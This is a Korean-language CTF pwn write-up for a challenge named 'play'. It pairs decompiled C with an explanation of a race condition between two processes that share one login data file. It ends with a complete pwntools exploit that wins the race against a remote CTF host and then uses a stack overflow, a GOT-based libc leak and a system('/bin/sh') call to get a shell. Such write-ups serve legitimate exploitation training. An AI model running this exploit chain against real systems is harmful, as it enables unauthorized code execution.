CTF-PWN-play(조건 경쟁, 동일한 데이터 파일 다중 프로세스 공유)

32227 단어 CTF-PWN
프로그램 개요
[*] '/home/supergate/Desktop/Pwn/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

NX 보호기만 켜져 있어 공격에 편리합니다.기본 프로세스를 실행하기 전에 init 함수를 실행합니다.
void init()
{
  unsigned int v0; // eax
  char name; // [esp+0h] [ebp-48h]

  v0 = time(0);
  srand(v0);
  init_io();
  if ( access(manager_db, 0) && mkdir(manager_db, 0x1EDu) == -1 )
  {
    perror("mkdir error");
  }
  else
  {
    chdir(manager_db);
    while ( 1 )
    {
      printf("login:");
      read_buff((int)&name, 64, 10);
      if ( (unsigned __int8)check_name(&name) )
        break;
      puts("bad name");
    }
    if ( access(&name, 0) )
    {
      puts("welcome to the system!");
      init_new_db_file(&name);
    }
    else
    {
      puts("welcome back to the system");
    }
    init_db(&name);
    gMonster = (AD_struct *)malloc(0x54u);
    init_monster(0);
    init_hero();
  }
}

즉, 먼저 login 문자열을 입력한 다음 /tmp/ 디렉터리에 같은 이름의 파일을 만듭니다.후속 조작을 통해 이 파일이 저장된 내용gHero과 관련된 내용을 알 수 있다.
주류는 gHerogMonster가 서로 공방을 하는 시뮬레이션이다.공격을 선택할 수도 있고, 자신의 현재 공격 방식을 수정할 수도 있다.각 공격 방식의attack,defense,strike값이 모두 같지 않고 허표로.bss단에 존재한다.그 중에서 attack 함수는 아래 그림에서 보듯이 AD_struct는 내가 데이터 구조에 따라 정의한 구조체로 후속 이해가 편리하다gHerogMonster는 모두 이 구조체의 형식이다.
struct_properties *attack()
{
  struct_properties *result; // eax
  int monster_defense; // [esp+10h] [ebp-18h]
  int monster_attack; // [esp+14h] [ebp-14h]
  int hero_defense; // [esp+18h] [ebp-10h]
  int hero_attack; // [esp+1Ch] [ebp-Ch]

  ++gHero->cnt1;
  ++gMonster->cnt1;
  hero_recovery();
  mon_recovery();
  printf("%s display:%s
"
, &gHero->gap3, gHero->properties->method_full_name); printf("%s display:%s
"
, &gMonster->gap3, gMonster->properties->method_full_name); monster_attack = gMonster->properties->attack; monster_defense = gMonster->properties->defense; if ( gMonster->properties->strike && gMonster->cnt1 > 4 && rand() % 3 == 1 ) { gMonster->cnt1 = 0; monster_defense += gMonster->properties->strike; monster_attack += gMonster->properties->strike; } hero_attack = gHero->properties->attack; hero_defense = gHero->properties->defense; if ( gMonster->properties->strike ) { printf("use hiden_methods?(1:yes/0:no):"); if ( read_int() == 1 ) { hero_defense += gHero->properties->strike; hero_attack += gHero->properties->strike; } } if ( hero_defense < monster_attack ) gHero->surplus -= monster_attack - hero_defense; if ( monster_defense < hero_attack ) gMonster->surplus -= hero_attack - monster_defense; if ( gHero->surplus <= 0 ) { puts("you failed"); gHero->surplus = 0; release_all(); } result = (struct_properties *)gMonster->surplus; if ( (signed int)result <= 0 ) { puts("you win"); if ( gMonster->slave_num == 3 ) { puts("we will remember you forever!"); vul_func(); release_all(); } puts("slave up"); level_up(); result = init_monster(gMonster->slave_num + 1); } return result; }

매번 몬스터 혈액량이 0 및 이하로 떨어지면 승급, 레벨 3의 몬스터를 처치하면 당신의 이름을 기록하고 프로그램을 종료합니다.
빈틈 분석vul_func에는 창고 넘침의 빈틈이 분명히 존재하고 가장 간단한 창고 넘침이다.문제는 우리가 어떻게 세 등급의 괴물을 처치해서 프로그램을 이곳까지 운행시킬 것인가 하는 것이다.gHero/tmp/ 폴더에 우리가 지정한 이름이 있는 파일에 존재하기 때문에 만약 우리가 두 프로세스를 열었고 입력한 파일 이름이 같으면 이 두 프로세스는 같은 메모리 영역을 공유할 것이다.attack 함수의 이 단락에 대해
  hero_attack = gHero->properties->attack;
  hero_defense = gHero->properties->defense;
  if ( gMonster->properties->strike )
  {
    printf("use hiden_methods?(1:yes/0:no):");
    if ( read_int() == 1 )
    {
      hero_defense += gHero->properties->strike;
      hero_attack += gHero->properties->strike;
    }
  }

p1 프로세스에서read 대기int () 함수를 입력할 때 p2 프로세스를 열고 공격 방식을 수정하여 강화할 수 있습니다 gHero.모든 공격 방식의 속성은 위에서 말한 바와 같이 모두 허표에 저장되어 있다.한 가지 공격 방식만 있는 게 아닐 거예요.p2 프로세스가 수정된 후에close를 기억해야 합니다. 그렇지 않으면 p2가 진 후에 예상치 못한 오류가 발생할 수 있습니다.
exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'

def change_method(proc,idx):
    proc.sendlineafter(">> ","3")
    proc.sendlineafter(">> ",str(idx))

def hacking(proc):
    proc.sendlineafter(">> ","1")
    proc.sendlineafter(":","1")

p1=remote('111.198.29.45',55333)
elf=ELF('./pwn')
p1.sendlineafter('login:',"name")

while True:
    change_method(p1,3)
    p1.sendlineafter(">> ","1")
    p1.recvuntil(":")

    p2=remote('111.198.29.45',55333)
    p2.sendlineafter('login:',"name")
    change_method(p2,1)
    p1.sendline("1")
    p2.close()
    p1.recvline()
    p1.recvline()
    p1.recvline()
    infom=p1.recvline()
    log.info(infom)
    if "remember" in infom:
	break
    
log.info("Success!")
p1.recvuntil("name:")

vul_addr=0x8048EC7
payload='a'*0x4c+p32(elf.plt['puts'])+p32(vul_addr)+p32(elf.got['puts'])
p1.sendline(payload)
p1.recvuntil("welcome
"
) puts_addr=u32(p1.recv(4).ljust(4,'\x00')) obj=LibcSearcher('puts',puts_addr) system_addr=puts_addr-obj.dump("puts")+obj.dump("system") binsh_addr=puts_addr-obj.dump("puts")+obj.dump("str_bin_sh") payload='a'*0x4c+p32(system_addr)+p32(0xdeadbeef)+p32(binsh_addr) p1.sendline(payload) p1.interactive()

좋은 웹페이지 즐겨찾기